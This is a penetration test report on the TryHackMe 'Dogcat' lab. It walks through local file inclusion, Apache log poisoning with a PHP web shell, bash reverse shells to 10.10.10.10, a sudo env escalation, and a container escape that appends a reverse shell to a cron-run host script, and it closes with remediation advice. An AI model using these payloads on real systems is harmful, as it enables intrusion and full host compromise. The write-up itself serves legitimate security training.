Penetration Test Report

Target: Dogcat (10.80.129.91)

TryHackMe Challenge

Prepared by: Security Researcher

February 2, 2026

Contents

1 Executive Summary **3**
1.1 Project Overview 3
1.2 Summary of Critical Findings 3

2 Technical Compromise Walkthrough **4**
2.1 1. Initial Access: Local File Inclusion (LFI) 4
2.2 2. Remote Code Execution via Log Poisoning 4
2.3 3. Privilege Escalation (Container) 4
2.4 4. Container Escape to Host 4

3 Remediation Recommendations **5**
3.1 Short Term Fixes 5
3.2 Medium Term Fixes 5
3.3 Long Term Fixes 5

1 Executive Summary

1.1 Project Overview

This report details the findings of a black-box penetration test conducted against the "Dogcat" system (10.80.129.91). The objective was to identify vulnerabilities, exploit them to gain unauthorized access, and assess the risk to the underlying infrastructure.

The assessment resulted in a full system compromise, escalating privileges from an unauthenticated web user to the root account of the hosting server.

1.2 Summary of Critical Findings

The following critical vulnerabilities were identified and exploited:

- **Local File Inclusion (LFI):** The web application failed to sanitize user input in the `view` parameter, allowing attackers to read arbitrary system files.
- **Remote Code Execution (RCE):** By leveraging the LFI vulnerability to poison Apache logs, arbitrary PHP code was executed on the server.
- **Privilege Escalation (Container):** Misconfigured sudo permissions allowed the `www-data` user to execute commands as root.
- **Container Escape:** An insecurely mounted volume containing a backup script allowed execution of code on the host machine, leading to total infrastructure compromise.

2 Technical Compromise Walkthrough

2.1 1. Initial Access: Local File Inclusion (LFI)

Reconnaissance revealed a parameter `?view=` in the URL that filtered input for the strings "dog" or "cat". By utilizing PHP wrappers and directory traversal, the filter was bypassed to read the source code of `index.php`.

Exploit Payload:

```
http://10.80.129.91/?view=php://filter/read=convert.base64-encode/resource=dog/../index
```

This leaked the source code, revealing that the application appends `.php` to inputs unless an `ext` parameter is provided.

2.2 2. Remote Code Execution via Log Poisoning

With the ability to read files, the Apache access log (`/var/log/apache2/access.log`) was targeted. A User-Agent header containing malicious PHP code was sent to the server to "poison" the log.

Injection Command:

```
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" http://10.80.129.91/
```

The log was then included via LFI, executing the injected PHP code. A reverse shell was established using a Base64 encoded payload to bypass URL restrictions.

Reverse Shell Execution:

```
# Encoded bash reverse shell
echo "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" | base64

# Trigger URL
http://10.80.129.91/?view=dog/../../../../var/log/apache2/access.log&ext=&cmd=echo "BASE64_STRING" | base64 -d | bash
```

2.3 3. Privilege Escalation (Container)

Upon gaining a shell as `www-data`, enumeration revealed a sudo misconfiguration. The user could run `/usr/bin/env` as root without a password.

Escalation Command:

```
sudo /usr/bin/env /bin/bash
```

This granted immediate root access to the Docker container.

2.4 4. Container Escape to Host

Investigation of the file system revealed a `backup.sh` script in `/opt/backups`. This file was writable by the container's root user but executed by the host machine's root user via a cron job.

A reverse shell payload was appended to this script. When the host system executed the backup script, a reverse shell was initiated from the host to the attacker machine.

Escape Payload:

```
echo "bash -i >& /dev/tcp/10.10.10.10/8888 0>&1" >> /opt/backups/backup.sh
```

3 Remediation Recommendations

3.1 Short Term Fixes

- **Fix LFI:** Implement a strict whitelist for the `view` parameter. Ensure only expected filenames (e.g., `dog.php`, `cat.php`) can be loaded.
- **Sanitize Input:** Disable PHP wrappers (like `php://filter`) in the `php.ini` configuration if not strictly necessary (`allow_url_include=Off`).

3.2 Medium Term Fixes

- **Sudo Configuration:** Remove the `NOPASSWD` entry for `/usr/bin/env`. Commands runnable via sudo should be strictly limited to those absolutely necessary for operation.
- **File Permissions:** The web server user (`www-data`) should not have write access to critical system logs or directories.

3.3 Long Term Fixes

- **Docker Security:** Avoid mounting sensitive host directories (like backup scripts) into containers with write permissions. Use read-only volumes where possible.
- **Principle of Least Privilege:** Run containerized applications as a non-root user inside the container to limit the impact of a compromise.

End of Report